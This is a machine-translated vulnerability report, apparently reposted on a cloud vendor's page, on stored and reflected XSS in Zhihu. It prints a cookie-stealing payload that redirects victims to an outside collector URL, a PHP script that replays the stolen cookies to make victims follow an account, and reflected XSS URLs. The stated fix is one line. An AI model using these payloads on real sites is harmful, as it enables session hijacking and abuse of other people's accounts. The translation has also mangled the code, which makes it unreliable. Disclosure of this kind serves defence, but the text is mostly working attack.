Zhihu stored xss and repair can obtain user cookie information

Source: Internet
Author: User

Zhihu does not filter double quotation marks (filtered <,>) in the "one-sentence Introduction" Field of personal data editing, resulting in Controllable content after span, as shown in <span controllable content> </span>, with the help of beer @ wooyun, I finally thought of writing test "onmousemove =" alert (/xss/) in one sentence /) as long as other users browse my home page and point the cursor to the Introduction location, code execution will be triggered, xss.
I don't know how to add external js. It was intended to be like this.
<Span class = "xmsw" title = "dd" onmousemove = e = document. createElement ('script'); e. setAttribute ('src', '1. js'); document. body. appendChild (e); id = "test"> test </span>
However, the server has a length limit.

In the end, let's steal cookies. Everyone knows, so I won't go into detail.
X "onmouseout = window. location = 'HTTP: // test/test. php? C = '+ document. cookie //
Final result:
<Span class = "xmsw" title = "x" onmouseout = window. location = 'HTTP: // test/test. php? C = '+ document. cookie // "> x" onmouseout = window. location = '... </Span>

But what is the use of cookie Theft? Write a php file to prove that this cookie can do many things:

<? Php

Function uc_fopen ($ url, $ post = '', $ cookie ='', $ limit = 0, $ bysocket = FALSE, $ ip = '', $ timeout = 15, $ block = TRUE ){
$ Return = '';
$ Matches = parse_url ($ url );
! Isset ($ matches ['host']) & $ matches ['host'] = '';
! Isset ($ matches ['path']) & $ matches ['path'] = '';
! Isset ($ matches ['query']) & $ matches ['query'] = '';
! Isset ($ matches ['Port']) & $ matches ['Port'] = '';
$ Host = $ matches ['host'];
$ Path = $ matches ['path']? $ Matches ['path']. ($ matches ['query']? '? '. $ Matches ['query']: ''):'/';
$ Port =! Empty ($ matches ['Port'])? $ Matches ['Port']: 80;
If ($ post ){
$ Out = "POST $ path HTTP/1.0 \ r \ n ";
$ Out. = "Accept: */* \ r \ n ";
// $ Out. = "Referer: $ boardurl \ r \ n ";
$ Out. = "Accept-Language: zh-cn \ r \ n ";
$ Out. = "Content-Type: application/x-www-form-urlencoded \ r \ n ";
$ Out. = "User-Agent: $ _ SERVER [HTTP_USER_AGENT] \ r \ n ";
$ Out. = "Host: $ host \ r \ n ";
$ Out. = "Referer: http://www.zhihu.com/topic/%e7%94%b5%e5%bd%b1%r%n ";
$ Out. = 'content-Length: '. strlen ($ post). "\ r \ n ";
$ Out. = "Connection: Close \ r \ n ";
$ Out. = "Cache-Control: no-cache \ r \ n ";
$ Out. = "Cookie: $ cookie \ r \ n ";
$ Out. = $ post;
} Else {
$ Out = "GET $ path HTTP/1.0 \ r \ n ";
$ Out. = "Accept: */* \ r \ n ";
// $ Out. = "Referer: $ boardurl \ r \ n ";
$ Out. = "Accept-Language: zh-cn \ r \ n ";
$ Out. = "User-Agent: $ _ SERVER [HTTP_USER_AGENT] \ r \ n ";
$ Out. = "Host: $ host \ r \ n ";
$ Out. = "Connection: Close \ r \ n ";
$ Out. = "Cookie: $ cookie \ r \ n ";
}
$ Fp = @ fsockopen ($ ip? $ Ip: $ host), $ port, $ errno, $ errstr, $ timeout );
If (! $ Fp ){
Return ''; // note $ errstr: $ errno \ r \ n
} Else {
Stream_set_blocking ($ fp, $ block );
Stream_set_timeout ($ fp, $ timeout );
@ Fwrite ($ fp, $ out );
$ Status = stream_get_meta_data ($ fp );
If (! $ Status ['timed _ out']) {
While (! Feof ($ fp )){
If ($ header = @ fgets ($ fp) & ($ header = "\ r \ n" | $ header = "\ n ")){
Break;
}
}

$ Stop = false;
While (! Feof ($ fp )&&! $ Stop ){
$ Data = fread ($ fp, ($ limit = 0 ||$ limit> 8192? 8192: $ limit ));
$ Return. = $ data;
If ($ limit ){
$ Limit-= strlen ($ data );
$ Stop = $ limit <= 0;
}
}
}
@ Fclose ($ fp );
Return $ return;
}
}
$ Cookie = $ _ GET ['C'];
Echo $ cookie;
$ Data = 'Type = people & id = 28bb2b6ff09a5072198351434ab2efff & status = 1 ';
$ Url = 'HTTP: // www.zhihu.com/follow ';
Echo uc_fopen ($ url, $ data, $ cookie );
?>
This php is mainly used to add attention to the yolfilm account. When someone browses my personal data and moves the mouse to trigger xss, it will jump to this page and use php to add attention to yolfilm. Otherwise, you only need to find the operation data packet and use the php script to submit it.

Www.2cto.com
In addition, the verification code is not found in all submitted inputs, so that it can be automatically submitted. This also facilitates php script submission ....

In addition, two reflection xss are provided:
Http://www.zhihu.com/people/yolfilm/search? Pq = % 3 Cscript % 3 Ealert % 281% 29% 3C % 2 Fscript % 3E & type = all
Http://www.zhihu.com/search? Q = % 22/% 3E % 3 Cscript % 3 Ealert % 281% 29% 3C % 2 Fscript % 3E

 

 


 


Solution:

Filter "encoding output

Author possible

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.